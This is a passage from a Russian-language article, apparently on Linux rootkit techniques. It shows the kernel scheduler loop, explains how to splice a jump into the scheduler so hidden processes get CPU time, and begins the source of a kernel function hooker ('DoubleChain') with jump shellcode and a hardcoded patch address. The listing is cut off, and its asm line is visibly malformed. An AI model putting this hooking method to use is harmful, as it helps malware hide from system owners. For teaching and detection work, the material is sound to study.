выбираем процесс сильнее всех нуждающихся
// ищем процесс с наибольшим "весом" в очереди исполняющихся процессов
while (p != &init_task)
{
// определяем "вес" процесса в глазах планировщика
// (т.е. степень его нужды в процессорном времени)
weight = goodness(prev, p);
// выбираем процесс сильнее всех нуждающихся в процессорном времени
// для процессоров с одинаковым "весом" используем поле prev
if (weight > c)
{
c = weight; next = p;
}
p = p->next_run;
}
if (!c)
{
// все процессы выработали свои кванты, начинаем новую эпоху
// хорошее место, чтобы добавить передачу управления на замаскированный процесс
…
}
Листинг 5 сердце планировщика
Процедура внедрения в планировщик осуществляется по стандартной схеме: а) сохраняем затираемые инструкции в стеке; б) вставляем команду перехода на нашу функцию, распределяющую процессорные кванты нулевого процесса среди скрытых процессов; в) выполняем ранее сохраненные инструкции; г) возвращаем управление функции-носителю.
Простейшая программная реализация выглядит так:
/*
DoubleChain, a simple function hooker
by Dark-Angel <Dark0@angelfire.com>
*/
#define __KERNEL__
#define MODULE
#define LINUX
#include <linux/module.h>
#define CODEJUMP 7
#define BACKUP 7
/* The number of the bytes to backup is variable (at least 7),
the important thing is never break an istruction
*/
static char backup_one[BACKUP+CODEJUMP]="\x90\x90\x90\x90\x90\x90\x90"
"\xb8\x90\x90\x90\x90\xff\xe0";
static char jump_code[CODEJUMP]="\xb8\x90\x90\x90\x90\xff\xe0";
#define FIRST_ADDRESS 0xc0101235 //Address of the function to overwrite
unsigned long *memory;
void cenobite(void) {
printk("Function hooked successfully\n");
asm volatile("mov %ebp,%esp;popl %esp;jmp backup_one);
Содержание Назад Вперед